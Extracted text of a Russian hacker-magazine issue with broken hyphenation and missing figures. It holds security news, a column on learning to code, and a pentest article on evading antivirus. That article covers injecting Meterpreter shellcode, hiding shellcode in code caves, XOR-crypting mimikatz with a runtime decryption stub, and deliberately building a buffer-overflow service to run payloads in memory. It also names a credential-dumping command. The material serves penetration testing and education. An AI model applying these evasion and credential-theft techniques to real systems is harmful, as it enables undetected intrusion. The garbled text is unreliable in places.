Эк спер ты «Лабора тории Кас пер ско го» пре дуп редили, что пан демия пов лияла на индус трию
виде оигр, а так же на киберуг розы для гей меров. Общее количес тво активных гей меров уже
приб лижа ется к  человек по все му миру, а с перехо дом на «уда лен ный образ жиз ни»
количес тво атак, экс плу ати рующих игро вую темати ку, уве личи лось более чем на .

3 млрд
50%

Ко личес тво атак, исполь зующих игро вую темати ку, в пери од с янва ря 2020 по май 2021 года

Ес ли взгля нуть на динами ку количес тва таких атак, мож но уви деть, что наибо лее рас простра-
нен ной нажив кой для гей меров пос тепен но ста новит ся . Так же в рей тин ге популяр ных
наживок оста ются ,  и .

CS:GO
Dota Warcraft PUBG

Ди нами ка количес тва атак с исполь зовани ем темати ки кон крет ных онлайн-игр

Ис сле дова тели отме чают, что перечень мал вари, чаще все го рас простра няющей ся с помощью
ссы лок с игро вой темати кой, изме нил ся по срав нению с прош лым годом. Теперь рей тинг воз- 
глав ляет семей ство мал вари .Badur

Мал варь Час тота

HEUR:Trojan.MSOfce.Badur.gena 4,72%

HEUR:Trojan.Script.Miner.gen 3,02%

HEUR:Trojan.PDF.Badur.gena 2,36%

HEUR:Trojan.OLE2.Badur.gena 1,57%

HEUR:Trojan.Multi.Preqw.gen 1,46%

HEUR:Trojan-PSW.Script.Generic 0,86%

Trojan-Downloader.Win32.Upatre.vwi 0,82%

HEUR:Trojan.Win32.Generic 0,81%

HEUR:Trojan.Script.SAgent.gen 0,70%

HEUR:Trojan.Script.Fraud.gen 0,43%

APP BUNDLES
ВМЕСТО APK
Раз работ чики Google объ яви ли, что с августа 2021 года все новые при ложе- 
ния, заг ружа емые в Google Play Store, дол жны будут исполь зовать новый фор- 
мат Android App Bundles (AAB) вмес то при выч ного APK (Android PacKage),
который при меня ется в Android с 2008 года. В ком пании объ ясня ют, что
AAB — это более уни вер саль ный, «пакет ный» фор мат, который поз волит
умень шить объ ем при ложе ний и адап тировать их для раз ных устройств.

Фор мат AAB появил ся в 2018 году, и его основная идея зак люча ется в том,
что Android-девай сы име ют мно жес тво раз личных аппа рат ных и язы ковых
ком бинаций, которые дол жны под держи вать при ложе ния, а дос тавка все го
это го кода на каж дое отдель ное устрой ство — пус тая тра та мес та. Дело
в том, что Android под держи вает более 150 язы ков, четыре архи тек туры ЦП
(ARMv7, ARMv8, x86 и x86_64) и раз личные раз решения экра на, и все свя зан- 
ные с этим дан ные, сос редото чен ные в одном APK, сущес твен но уве личи вают
«вес» пос ледне го.

В свою оче редь, Android App Bundle прев раща ет при ложе ния в набор
«раз делен ных APK», которые могут раз давать ся из Google Play Store для каж- 
дого отдель ного устрой ства. В сущ ности, такие «раз делен ные APK» не явля- 
ются пол ноцен ными при ложе ниями. Это лишь час ти при ложе ний, каж дая
из которых сос редото чена на опре делен ной области, а все вмес те они обра- 
зуют при ложе ние. К при меру, если у вас есть устрой ство на базе
ARMv8 с высоким раз решени ем, работа ющее на англий ском язы ке, Google
Play Store пре дос тавит вам набор «раз делен ных APK», которые под держи вают
толь ко устрой ство с такими парамет рами. А если у вашего дру га есть
телефон на базе ARM v7 с низ ким раз решени ем, который исполь зует англий- 
ский и рус ский, он получит дру гой набор APK, ори енти рован ный имен но
на такой девайс.

Та ким обра зом, каж дый поль зователь получит толь ко тот код, который нужен
его устрой ству. По сло вам раз работ чиков Google, это поможет сок ратить
«вес» при ложе ний при мер но на 15%.

Так же раз работ чики при ложе ний смо гут исполь зовать App Bundle
для управле ния фун кци ями сво их про дук тов. К при меру, какие-то фун кции
могут дос тавлять ся толь ко на те устрой ства, которые их под держи вают,
или будут дос тупны поль зовате лям лишь по зап росу.

Мно гие отме чают, что переход на AAB так же даст Google боль ший кон- 
троль над всей эко сис темой Android. Дело в том, что пакеты Android App
Bundle дол жны обра баты вать ся инфраструк турой магази на при ложе ний. Хотя
AAB — это фор мат с откры тым исходным кодом и у Google есть опен сор сное
при ложе ние bundletool, мно гим ком пани ям все же пот ребу ется соз дать собс- 
твен ную инфраструк туру и опла тить все свя зан ные с этим рас ходы.

Хо тя откры тый исходный код App Bundles поз воля ет лег ко под держи вать
их, аль тер натив ным магази нам при ложе ний при дет ся взять на себя мно го
работы и ответс твен ности, и, веро ятно, новый фор мат ста нет активно при- 
менять ся толь ко в Google Play Store.

Кро ме того, мно гие экспер ты отме чают, что переход на AAB свя зан еще с
одним немало важ ным аспектом. Так, одним из основных ком понен тов
безопас ности APK явля ется под писание при ложе ний. По сути, речь идет
о циф ровом сер тифика те, который при над лежит раз работ чику при ложе ния
и удос товеря ет, что тот соз дал это при ложе ние. Под пись неак туаль на
при пер вой уста нов ке, но во вре мя всех пос леду ющих обновле ний под писи
дол жны сов падать. Это озна чает, что толь ко вла делец сер тифика та
(исходный раз работ чик при ложе ния) может обно вить при ложе ние. То есть
никакая слу чай ная третья сто рона не может соз дать APK под наз вани ем
Google-Pay.apk, который переза пишет реаль ное при ложе ние Google Pay Store
и похитит всю информа цию поль зовате ля.

Од нако если вся сис тема сбор ки при ложе ния дол жна раз мещать ся
в обла ке, клю чи под писи раз работ чиков тоже дол жны раз мещать ся в обла ке,
а это перек ладыва ет ответс твен ность за при ложе ние с раз работ чика
на Google.

«Google íàçûâà åò ýòî Google Play App Signing, è êîì ïàíèÿ ñåðü åçíî

îáå ùàåò, ÷òî âû ïî‑ïðåæ íåìó áóäåòå âëà äåòü ïðè ëîæå íèåì è èìåòü

ê íåìó äîñ òóï. Íî ýòî íåì íîãî ïîõîæå íà ïåðåäà ÷ó äîêóìåí òîâ íà âàø

äîì òðåòü åìó ëèöó. Google êîí òðî ëèðó åò Play Store, à çíà ÷èò, êîì- 

ïàíèè óæå ïðè íàä ëåæèò óëè öà è âàøà ïîäú åçäíàÿ äîðîæ êà, à òåïåðü

[Google] áóäåò èìåòü åùå áîëü øèé êîí òðîëü íàä âàøèì ïðè ëîæå- 

íèåì», — îòìå ÷àåò èçäà íèå ArsTechnica.

Де ло в том, что, если инфраструк тура магази на при ложе ний будет ском про- 
мети рова на, третья сто рона смо жет получить дос туп к клю чам раз работ чиков
и начать рас простра нять вре донос ные обновле ния. Так же вста ет воп рос
доверия вла дель цу магази на при ложе ний. Ведь теперь он вла деет клю чом
под писи и может изме нить любое при ложе ние без ведома авто ра, если
захочет. Нап ример, пра витель ство может вынудить вла дель ца магази на при- 
ложе ний изме нить чье-то при ложе ние по сво ему усмотре нию.

Что бы раз веять опа сения по это му поводу, спе циалис ты Google пош ли
на ряд усту пок. Так, раз работ чики смо гут хра нить локаль ную копию клю ча
под писи, который они заг рузили на сер веры Google, что поз волит им выпус- 
кать валид ные обновле ния, которые мож но уста нав ливать поверх вер сий
из Google Play Store.

Так же раз работ чики смо гут заг рузить под писан ные Distribution APK через
кон соль раз работ чика Google Play. Эти фай лы пред став ляют собой обыч ные
уни вер саль ные APK, которые мож но исполь зовать для заг рузки в дру гие
магази ны. Для тех, кто боит ся, что Google может изме нить при ложе ние
без сог ласия раз работ чика, пре дус мотре на новая необя затель ная фун кция
«проз рачнос ти кода», которая поз волит раз работ чикам про верять, соот ветс- 
тву ют ли хеши тому коду, который они заг рузили в магазин ранее.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
В Мон голии взло мали круп ней ший удос товеря ющий центр

ФБР и АНБ утвер жда ют, что рос сий ские хакеры брут форсят ком пании и орга низа ции по все му
миру

Влас ти зак рыли сер вис DoubleVPN, популяр ный сре ди хакеров

Че рез нес коль ко дней пос ле запус ка из Gettr утек ли дан ные поль зовате лей

Об новле ние OnePlus умыш ленно замед лило работу 300 популяр ных при ложе ний

Те лефо ны Anom попали на вто рич ный рынок: это Google Pixel со стран ной ОС

Ук раин ские пра воох раните ли обна ружи ли май нин говую фер му, сос тояв шую из тысяч кон солей
PlayStation 4

Шпи онское ПО Pegasus исполь зуют для слеж ки за акти вис тами, жур налис тами и полити ками

Мил лионы прин теров HP, Xerox и Samsung уяз вимы перед новым багом

За щита Google Play Protect сно ва про вали ла про вер ки AV-TEST
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Ви дел ког да-нибудь, как матерые кодеры
недоб ро пос меивают ся над людь ми,
которые пыта ются осво ить их про фес сию?
Если спро сить, в чем при чина неп рияз ни,
то, ско рее все го, сош лются на нежела ние
стал кивать ся в работе с неуча ми и «вка- 
тываль щиками». А так же с пло дами их тру- 
да, которые, конеч но, мож но толь ко
перепи сать заново. Я сей час поп робую
объ яснить, почему это все пол ная ерун да.

Оче вид но, что тут про пущен важ ный шаг: тех самых неучей кто-то все же
нанял в ком панию и поручил им боевые задачи. То есть с тем же успе хом
мож но жаловать ся на менед жмент, на рынок тру да, на сис тему обра зова ния,
пра витель ство, масонов и повели теля Зену. Но напом нить я сей час хочу
о дру гом момен те, который потихонь ку стал сти рать ся из мас сового соз- 
нания. Уметь писать код — это уметь поль зовать ся компь юте ром.

В вось мидеся тые годы домаш ние компь юте ры вдруг ста ли мас совым
явле нием, что, кста ти, тоже соп ровож далось недоволь ным вор чани ем сре ди
пуб лики из вычис литель ных залов. При этом счи талось нор мой, что при вклю- 
чении домаш няя машина сра зу показы вает интер пре татор бей сика, а в ком- 
плек те идет книж ка о том, как писать прог раммы. Самих прог рамм при этом
мог ло не пос тавлять ся вов се. Кру тись как хочешь!

INFO

Дру гая вещь, которая при лага лась к компь юте- 
ру, — это его прин ципи аль ная схе ма. Сей час
такое даже вооб разить труд но!

Раз ницу меж ду подел ками на бей сике и ком мерчес кими про дук тами в короб- 
ках вряд ли нуж но было кому-то объ яснять. Собс твен но, до появ ления GCC
ком пилято ры и дру гие инс тру мен ты раз работ ки сто или тысячи дол ларов —
очень ощу тимый барь ер меж ду поль зовате лем, который может накидать
прог рам мку, и прог раммис том с обра зова нием и зар пла той.

Упо мина ние GCC тут, кста ти, очень в тему — Ричард Стол лман и ком пания
не толь ко при дума ли Emacs и вирус ные опен сор сные лицен зии, но и популя- 
ризо вали сло во «хакер», которым называ ли челове ка, с горящи ми гла зами
лезуще го внутрь чего угод но. Да-да, пер вые хакеры не занима лись взло мом,
а раз нуздан но кодили на лис пе. Все бун тарс тво тог да сво дилось к игре
в прят ки с охранни ками — что бы не выг нали на ночь из машин ного зала.

С тех пор прош ло мно го вре мени и было написа но мно го соф та на все
слу чаи жиз ни. Писать код, что бы сде лать что-то слож ное, ста ло не так необ- 
ходимо. В край нем слу чае мож но осво ить фор мулы Excel или еще что-нибудь
в таком духе. Но и начать прог рамми ровать сей час как нель зя про ще: Visual
Studio, Xcode, Android Studio и Qt Designer — самые про фес сиональ ные
из про фес сиональ ных инс тру мен тов пол ностью бес плат ны.

И это не говоря уже о скрип товых сис темах, дос тупных в каж дой сов- 
ремен ной ОС, и интер пре тато рах любых язы ков, которые, если вдруг не уста- 
нов лены сра зу, ста вят ся парой команд. Прос то обпрог рамми руй ся!

INFO

Да же на «ого рожен ной» iOS есть 
, мож но 

 или пос тавить .

удоб ный интер- 
пре татор Python пи сать шот каты
на JavaScript кар манный Linux

Ко динг по работе тоже не остался преж ним. Python изна чаль но был ско рее
язы ком для сисад минов — эта ким прод винутым вари антом Bash и менее
безум ным бра том Perl. JavaScript же изна чаль но при дума ли, что бы про верять,
пра виль но ли запол нены фор мы на стра нице. А в ито ге на обо их язы ках пишут
и кли ент ские, и сер верные при ложе ния.

По чему это про исхо дит, догадать ся нес ложно. Эти язы ки нацеле ны на то,
что бы писать код быс тро, а ско рость для биз неса — кри тичес кий показа тель.
Да и ресур сы машины час то дешев ле, чем челове чес кие.

Гра ница меж ду любитель ским прог рамми рова нием и индус три аль ным
ста ла сов сем тон кой. Выучил нес ложный язык, написал пару скрип тов,
выложил на гит хабе, наб рал звез дочек — и вот ты и поч ти готов пре тен довать
на мес то джу на. А в усло виях дикой нех ватки кад ров еще и смо жешь выбирать
усло вия получ ше. Как бы кто к это му ни отно сил ся.

При чина нех ватки кад ров прос та: то, что рань ше называ ли «компь юте- 
риза цией», мощ но про тек ло во все аспекты жиз ни (я под робно писал об этом
в ). «Софт ест мир», как говорит ся, при чем аппе титы рас тут
со страш ной ско ростью. А работа ет эта пищева ритель ная сис тема как раз
на прог раммис тах.

прош лый раз

Ес ли ты сле дишь за пуб ликаци ями в «Хакере», то навер няка уже догадал- 
ся, что эта колон ка свя зана с нашими стать ями «Python с абсо лют ного нуля»,
в которых мы взя лись с шут ками и при баут ками научить любого читате ля
писать код на Python. Успех  был феноме наль ным, и мы решили
про дол жать — недав но как раз выш ла . Одна ко и ком менты
в духе «хва тит пло дить пло хих прог рамме ров» не зас тавили себя ждать.

пер вой статьи
вто рая часть

Я при зываю никого не слу шать и учить Python или любой дру гой язык,
который приг лянет ся! Ты обре тешь бес ценный навык и ста нешь хакером
в изна чаль ном смыс ле сло ва. Пытать ся ли при этом вка тить ся в индус трию —
дело твое.

mailto:apismenny@gmail.com
https://xakep.ru/2015/02/04/ios-automatization-python/
https://xakep.ru/2019/11/28/ios-shortcuts/
https://xakep.ru/2018/11/23/www-ish/
https://xakep.ru/2019/08/20/shit-gets-real/
https://xakep.ru/2021/06/21/python-for-newbies/
https://xakep.ru/2021/07/07/python-for-newbies-2/#comment-38854
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Ан тивирус — край не полез ная шту ка,
но толь ко не тог да, ког да тебе нуж но
остать ся незаме чен ным в ата куемой сети.
Сегод ня мы погово рим о том, как при пен- 
тесте мож но обма нуть анти вирус ные прог- 
раммы и избе жать обна руже ния в ском про- 
мети рован ной сис теме.

INFO

Эта статья — про дол жение цик ла пуб ликаций,
пос вящен ных пос тэкс плу ата ции. В пре дыду щих
сери ях:

;

•Шпар галка по persistence. Как надеж но про- 
писать ся на хос те или выявить факт ком про- 
мета ции

;
•Кунг-фу pivoting. Выжима ем мак симум из пос- 

тэкс плу ата ции

.
•Гид по Lateral. Изу чаем уда лен ное исполне ние

кода в Windows со всех сто рон

На вер няка тебе зна кома ситу ация, ког да дос туп к ата куемой сети получен
и до цели остался один шаг. Но анти вирус не дает выпол нить нуж ное дей- 
ствие, запус тить ту или иную прог рамму. В моей прак тике были слу чаи, ког да
име лась лишь одна попыт ка, которая про вали валась из-за под нятой анти- 
виру сом тре воги. Анти виру сы иног да могут уда лить и сов сем безобид ные
фай лы, при чем не толь ко исполня емые. Поэто му скрыть нас тоящую угро зу —
край не неп ростая задача.

WARNING

Вся информа ция пре дос тавле на исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не несут ответс твен ности за любой воз можный
вред, при чинен ный с исполь зовани ем информа- 
ции из дан ной статьи.

Во обще, задача обхо да анти виру са может воз никнуть в двух слу чаях:
при ата ке. Тут полез ную наг рузку запус кает либо уяз вимое при ложе ние,
либо, что чаще, поль зователь (соци аль ная инже нерия). Глав ным обра зом
это будет некое средс тво зак репле ния и обес печения пос тоян ного при- 
сутс твия. Самое важ ное — не спа лить ся;

•

при пос тэкс плу ата ции. В этом слу чае мы сами запус каем прог рамму
на ском про мети рован ной сис теме. Это может быть сниф фер, средс тво
повыше ния при виле гий или прос то какой-то хакер ский софт, исполь- 
зуемый для прод вижения по сети. И при этом для нас важ нее запус тить
прог рамму, даже если это получи лось не с пер вой попыт ки и анти вирус
выкинул нес коль ко алер тов.

•

В пер вом слу чае дос таточ но лишь при менить извес тную тех нику — полимор- 
физм. Изме няем код, не меняя его фун кци ональ ность. Хорошая так тика —
написать код самому. Нап ример, с помощью двад цати строк кода на VBS
мож но реали зовать прос той reverse shell и успешно обой ти любой анти вирус.
Нас же боль ше будет инте ресо вать вто рой слу чай, и имен но это и будет
темой дан ной статьи.

Мно гие полез ные инс тру мен ты для обхо да анти виру са мож но сде лать
с помощью того же Meterpreter, но для начала его сле дует как минимум запус- 
тить. В каж дом рас смат рива емом спо собе имен но запуск Meterpreter и будет
для нас конеч ной целью. Ведь дан ное средс тво обла дает все ми необ ходимы- 
ми воз можнос тями, а при желании может исполь зовать ся и для запус ка дру- 
гого спе циали зиро ван ного ПО пря мо в опе ратив ной памяти. А все, что про-
исхо дит в опе ратив ной памяти, поч ти недос тижимо для средств защиты, пос- 
коль ку деталь ный и пос тоян ный ана лиз памяти вле чет за собой колос саль ные
нак ладные рас ходы, на которые анти виру сы пой ти не могут.

Для того что бы эффектив но обой ти анти вирус, нам пот ребу ется мыс лить
как анти вирус, пытать ся пре дуга дать его логику. Анти вирус для нас, безус- 
ловно, будет чер ным ящи ком. Мы не зна ем в под робнос тях, как он устро ен,
но, опи раясь на его поведе ние в раз ных ситу ациях, можем зак лючить, что он
тща тель но отсле жива ет источник заг рузки исполня емо го фай ла, а так же сле- 
дит, запус кался ли он до это го, и если запус кался, то сколь ко раз. Пов торные
запус ки будут про исхо дить уже под мень шим «над зором».

По боль шому сче ту мы име ем дело с дву мя механиз мами защиты:
сиг натур ным;•
эв ристи чес ким (поведен ческим).•

При сиг натур ном ана лизе анти вирус учи тыва ет мно жес тво фак торов, в час- 
тнос ти боль шое вли яние на резуль тат ока зыва ет ком пилятор. Вот дос таточ но
забав ные резуль таты VirusTotal для безобид ного helloworld-при ложе ния,
написан ного на С:

i686-w64-mingw32-gcc — 11/68 детек тов;•
msvc — 2/64 детек та;•
win-gcc — 0 детек тов.•

Что же каса ется ана лиза поведе ния прог раммы, тут нуж но понимать, что,
даже если тебе уда лось обой ти сиг натуры, ты все еще можешь спа лить ся,
пос коль ку вся кий migrate PID или  может быть
перех вачен по при чине исполь зования харак терных сочета ний WinAPI-фун- 
кций, которые анти виру сы очень вни матель но монито рят.

sekurlsa::logonPasswords

Я пред лагаю сос редото чить ся имен но на сиг натур ном движ ке, обхо да
которо го для боль шинс тва слу чаев дос таточ но. В статье не будет пря мых упо- 
мина ний кон крет ных наз ваний анти виру сов, что бы не соз давать никому рек- 
ламы или анти рек ламы. В то же вре мя мы не ста нем «затачи вать ся» под кон- 
крет ный анти вирус. Резуль таты будем про верять имен но на работа ющем
анти виру се, при этом поп робу ем исполь зовать некий уни вер саль ный спо соб,
что бы каж дый раз не при думы вать все новые методы обхо да. В каж дом слу- 
чае целью будет тай ком про тащить на ском про мети рован ную машину
Meterpreter, который поз волит нам исполнить в памяти что угод но, запус тить
весь име ющий ся в нашем рас поряже нии хакер ский арсе нал.

LEGAL

Луч ший бой — это тот, которо го уда лось избе жать. Поэто му в борь бе с анти- 
виру сами час то исполь зуют ся легаль ные средс тва. Да, они не могут пре дос- 
тавить мно гие «прод винутые шту ки», но необ ходимый минимум в виде 

 и , а так же встро енный прок си-сер вер
и гиб кую сис тему редирек та тра фика при  они реали зовать могут.
И это замеча тель ные, всем извес тные ути литы — nc.exe, ncat.exe, socat.exe,
plink.exe. При меры их исполь зования были опи саны в моих прош лых стать ях.
Бле ки же и вов се порою исполь зуют обыч ные средс тва облачно го уда лен- 
ного адми нис три рова ния вро де RMS.

reverse
shell при persistence lateral movement

pivoting

Ес ли же в ском про мети рован ной сис теме тре бует ся раз вернуть целый
«плац дарм» в виде Metasploit и ана логич ных хакер ских тулз, то мож но укрыть- 
ся за вир туали заци ей. Пошаго вый гайд опи сан .еще в одной моей статье

SHELLCODE INJECTING

Тех ника встра ива ния кода в уже запущен ные, а зна чит, про шед шие про вер ку
про цес сы широко извес тна. Идея сос тоит в том, что мы име ем отдель ную
прог рамму  и сам shellcode в раз ных фай лах. Анти- 
виру су слож нее рас познать угро зу, если она рас кидана по нес коль ким фай- 
лам, тем более по отдель нос ти эти фай лы не пред став ляют угро зы.

shellcode_inject.exe

shellcode_inject.exe не содер жит угроз

В свою оче редь, наш shellcode выг лядит еще более безобид но, если мы пре- 
обра зуем его в печат ные сим волы.

Cоз дание авто ном ного (не staged) шелл-кода. Выг лядит безобид но

Гля дя на содер жимое , я бы ско рее решил, что это стро ка
в Base64, чем шелл-код.

meter.txt

Сто ит отме тить, что мы исполь зовали шелл-код
, а не . Это авто ном- 

ный код, который содер жит в себе все фун кции Meterpreter, он ничего
не будет ска чивать по сети, сле дова тель но, шан сов спа лить ся у нас будет
мень ше. Но вот связ ка shellcode_inject.exe и meter.txt уже пред став ляет опас- 
ность. Давай пос мотрим, смо жет ли анти вирус рас познать угро зу?

meterpreter_reverse_tcp meterpreter/reverse_tcp

Ин жект Meterpreter

Об рати вни мание: мы исполь зовали для инжекта кода сис темный про цесс, он
сра зу работа ет в кон тек сте . И похоже, что наш подопыт ный анти вирус
хоть в кон це и руг нулся на shellcode_inject.exe, но все же про пус тил дан ный
трюк.

System

Вы пол нение вре донос ного кода в обход анти виру са

За пус тив что-то вро де Meterpreter, ата кующий получит воз можность выпол- 
нить полез ную наг рузку пря мо в памяти, минуя тем самым HDD.

За пуск вре донос ного ПО через Meterpreter в памяти

Мно го лет этот прос той трюк выручал меня. Сра ботал он и на этот раз.

CODE CAVES

Каж дый exe-файл (PE-фор мат) содер жит код. При этом весь код офор млен
в виде набора фун кций. В свою оче редь, фун кции при ком пиляции раз меща- 
ются не одна за дру гой вплот ную, а с некото рым вырав нивани ем (16 байт).
Еще боль шие пус тоты воз ника ют из-за вырав нивания меж ду сек циями
(4096 байт). И бла года ря всем этим вырав нивани ям соз дает ся мно жес тво
неболь ших «кодовых пус тот» (code caves), которые дос тупны для записи в них
кода. Тут все очень силь но зависит от ком пилято ра. Но для боль шинс тва PE-
фай лов, а нас глав ным обра зом инте ресу ет ОС Windows, кар тина может выг- 
лядеть при мер но так, как показа но на сле дующем скрин шоте.

Гра фичес кое пред став ление рас положе ния фун кций и пус тот меж ду
ними

Что пред став ляет собой каж дая такая «пус тота»?

Code cave

Так, если мы более точ но (сиг натур но) опре делим рас положе ние всех пус тот,
то получим при мер но сле дующую кар тину в исполня емом фай ле.

По иск кодовых пус тот в исполня емом фай ле

Ви зуаль ное рас положе ние пус тот по все му фай лу

В этом при мере мы поис кали толь ко 12-бай тные пус тоты, так что реаль ное их
количес тво будет гораз до боль шим. Пус тот хоть и немало, но их явно недос- 
таточ но для раз мещения пол ноцен ной прог раммы. Поэто му дан ный спо соб
годит ся толь ко для встав ки шелл-кодов, раз мер которых ред ко пре выша- 
ет 1 Кбайт.

Да вай пос мотрим, смо жем ли мы раз ложить неболь шой мно гос тупен чатый
Windows/Meterpreter/reverse_tcp шелл-код по этим пус тотам. Раз мер code
cave ред ко пре выша ет 16 байт, так что нам пот ребу ется раз бивать шелл-код
силь нее, чем по базовым бло кам. Сле дова тель но, при дет ся встав лять еще и
допол нитель ные jmp-инс трук ции для их свя зи и кор ректи ровать адре са
условных перехо дов. На деле это дос таточ но рутин ная опе рация.

Фраг мента ция и встав ка шелл-кода в code caves

В резуль тате наш шелл-код раз мером в 354 бай та был раз бит на 62 кусоч ка
и помещен в ран домные пус тоты меж ду фун кци ями.

Ис ходный исполня емый файл — пус тота меж ду фун кци ями из-за вырав -
нивания

Мо дифи циро ван ный исполня емый файл — заражен ная пус тота меж ду
фун кци ями

По идее, такой под ход дол жен дать нам полимор физм, так как каж дый раз
шелл-код будет помещать ся в слу чай ные пус тоты по две-три инс трук ции (это
называ ется умным сло вом «пер мутация»). Даже на уров не трас сы исполне ния
код будет обфусци рован из-за дос таточ но боль шого количес тва инс трук ций

 меж ду фраг мента ми.jmp

Ори гиналь ная трас са исполне ния шелл-кода

Об фусци рован ная трас са исполне ния шелл-кода

C помощью это го спо соба мы можем обой ти таким обра зом мно го «прос тых»
анти виру сов.

Вы пол нение вре донос ного шелл-кода в обход анти виру са

Од нако серь езные анти вирус ные про дук ты таким трю ком все же не про- 
ведешь.

Продолжение статьи →
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CRYPT

Как ни стран но, клас сичес кий xor исполня емо го фай ла с динами чес ким клю- 
чом все еще успешно работа ет про тив даже самых гроз ных анти виру сов.
Для при мера возь мем какой-нибудь очень палев ный исполня емый файл
и зак рипту ем прос тым xor все, что толь ко мож но. Крипт сек ций  
выг лядит при мер но так.

.text и .data

Xor с клю чом 0x77 ука зан ных адре сов и раз меров

Те перь спря чем информа цию о вер сии.

Шиф рование ресур сов исполня емо го фай ла

Сек ция  содер жит прак тичес ки все палев ные стро ки. Но вот беда,
на нее про еци руют ся дирек тории таб лиц импорта и отло жен ного импорта,
которые тро гать нель зя, ина че файл не запус тится. Поэто му прос то най дем
в дан ной сек ции область, где глав ным обра зом содер жатся стро ки, и зашиф- 
руем ее.

.rdata

По иск области, содер жащей стро ки, и ее шиф рование

Пос коль ку мы все зашиф ровали в исполня емом фай ле, то в момент запус ка
его сме щения в коде не будут пра виль но скор ректи рова ны в соот ветс твии
с адре сом раз мещения. Поэто му еще при дет ся отклю чить ASLR:

PE->NT headers->Optional header->DllCharacteristics |=0x40

Те перь самое вре мя про верить, что мы все спря тали, и наш mimikatz боль ше
не вызыва ет подоз рений.

Все вре донос ное содер жимое успешно скры то

От лично. Толь ко пока наш файл нерабо тос пособен, так как в нем все зашиф- 
ровано. Перед даль нейши ми дей стви ями рекомен дую поп робовать запус тить
файл в отладчи ке, что бы убе дить ся, что струк туры PE-фор мата не пов режде- 
ны и файл валиден.

Те перь нам пот ребу ется написать неболь шой машин ный код для рас- 
шифров ки. И, что важ но, ключ будет задавать ся во вре мя исполне ния, то есть
ниг де в коде он не будет сох ранен. Сле дова тель но, запуск при ложе ния
в песоч нице анти виру са не дол жен выявить угро зы.

Наш  будет сох ранять началь ное сос тояние и добав лять
пра ва на запись в зашиф рован ные сек ции.

xor_stub.asm

Из менение permissions зашиф рован ных сек ций

Здесь и далее не забудь изме нить адре са WinAPI-фун кций на свои зна чения.
Теперь мы скор ректи руем точ ку вхо да, так как в нее чуть поз же будет встав- 
лен  на дан ный код.jump

Вос ста нов ление инс трук ций точ ки вхо да

Зап росим у поль зовате ля ключ для рас шифров ки и выпол ним де-xor всех
зашиф рован ных областей.

Зап рос клю ча и рас шифров ка им зак сорен ных областей

На конец мы вос ста нав лива ем началь ное сос тояние, кор ректи руем стек
и переме щаем ся в entry point.

Воз врат на точ ку вхо да

Са мое вре мя добавить пус тую сек цию  в mimikatz, куда мы раз местим наш
xor_stub.

r-x

До бав ление сек ции, куда будет встав лен код рас шифров ки

Те перь ском пилиру ем дан ный ассем блер ный код и вста вим его в толь ко что
соз данную сек цию.

Ком пиляция и встав ка кода для рас шифров ки

В кон це не забудем из entry point сде лать  на наш код.jump

Пе реда ча управле ния на код рас шифров ки

Го тово. Запус каем и вво дим ключ, которым мы шиф ровали, — в моем слу чае
это сим вол w ( ).0x77

Вы пол нение вре донос ного кода в обход анти виру са

Вот и все. Нем ного авто мати зиро вав дан ный про цесс, поп робу ем запус тить
Meterpreter.

Ав томати чес кое шиф рование опи сан ным спо собом

За пус каем и вво дим ключ w.

За пуск вре донос ного кода

И получа ем тот же эффект.

За пуск вре донос ного кода в обход анти виру са

VULN INJECT (SPAWN)

Мне хорошо запом нился один дав ний слу чай. Я никак не мог открыть сес сию
Meterpreter на victim из-за анти виру са, и вмес то это го мне каж дый раз при- 
ходи лось заново экс плу ати ровать ста рую доб рую MS08-067, запус кая
Meterpreter сра зу в памяти. Анти вирус почему-то не мог помешать это му.

Ду маю, анти вирус глав ным обра зом заточен на отлов прог рамм (на HDD)
и шелл-кодов (по сети) с извес тны ми сиг натура ми или на экс плу ата цию
популяр ных уяз вимос тей. Но что, если уяз вимость еще неиз вес тна для анти- 
виру са?

В этом слу чае исполь зует ся дос таточ но необыч ная тех ника, которая стро- 
ится на прин ципе внед рения уяз вимос ти (buffer overow) и, тем самым, неоче- 
вид ном исполне нии про изволь ного кода. По сути, это еще один вари ант реф- 
лектив ного исполне ния кода, то есть ког да код при сутс тву ет исклю читель но
в RAM, минуя HDD. Но в нашем слу чае мы еще и скры ваем точ ку вхо да во вре- 
донос ный код.

Ан тивирус, как и любое дру гое ПО, вряд ли спо собен опре делить ста- 
тичес ким ана лиза тором, что в прог рамме содер жится уяз вимость и будет
исполнен про изволь ный код. Машины пока пло хо справ ляют ся с этим, и не
думаю, что ситу ация силь но изме нит ся в бли жай шем будущем. Но смо жет ли
анти вирус уви деть про цесс в динами ке и успеть сре аги ровать?

Что бы про верить это, нам нуж но написать и запус тить прос тень кий
сетевой сер вис, содер жащий при думан ную нами 0-day-уяз вимость (buffer
overow на сте ке) и про экс плу ати ровать ее. Что бы все работа ло еще и
в новых вер сиях Windows, при дет ся обой ти DEP. Но это не проб лема, если мы
можем добавить нуж ные нам ROP-gadgets в прог рамму.

Не будем глу боко вда вать ся в детали buffer overow и ROP-chains, так
как это выходит за рам ки дан ной статьи. Вмес то это го возь мем 

. Ком пилиру ем сер вис обя затель но без под дер жки ASLR (и мож но
без DEP):

го товое
решение

cl.exe /c vuln_rop.c
link.exe /out:vuln_rop.exe vuln_rop.obj /nxcompat:no /fixed

Наш сетевой сер вис будет работать в режимах listen и reverse connect. А все
дан ные будут переда вать ся в зашиф рован ном виде, что бы не спа лить ся
на сиг натур ном ана лиза торе. И это очень важ но, пос коль ку некото рые анти- 
виру сы нас толь ко «не любят» Meterpreter, что даже прос тая его отправ ка
в любой откры тый порт спро воци рует немину емый алерт и пос леду ющий бан
IP-адре са ата кующе го.

По лучен ный исполня емый файл тех ничес ки не явля ется вре донос ным,
ведь он содер жит в себе лишь ошиб ку при работе с памятью. В про тив ном
слу чае любая прог рамма может счи тать ся вре донос ной, пос коль ку потен- 
циаль но она тоже может вклю чать ошиб ки.

За пуск сер виса с заложен ной нами buffer overow

Наш уяз вимый сер вис успешно запущен и ждет вхо дящих дан ных. Соз даем
payload и запус каем экс пло ит с ним.

Экс плу ата ция нашего buffer overow

В ито ге уяз вимый сер вис при нима ет наши дан ные и в резуль тате заложен ной
ошиб ки при работе с памятью неп роиз воль но запус кает код payload.

Пе репол нение буфера в дей ствии

Эта полез ная наг рузка откры вает нам сес сию Meterpreter.

Вы пол нение вре донос ного кода в обход анти виру са

И все это безоб разие про исхо дит при работа ющем анти виру се. Одна ко было
замече но, что при исполь зовании некото рых анти виру сов все еще сра баты- 
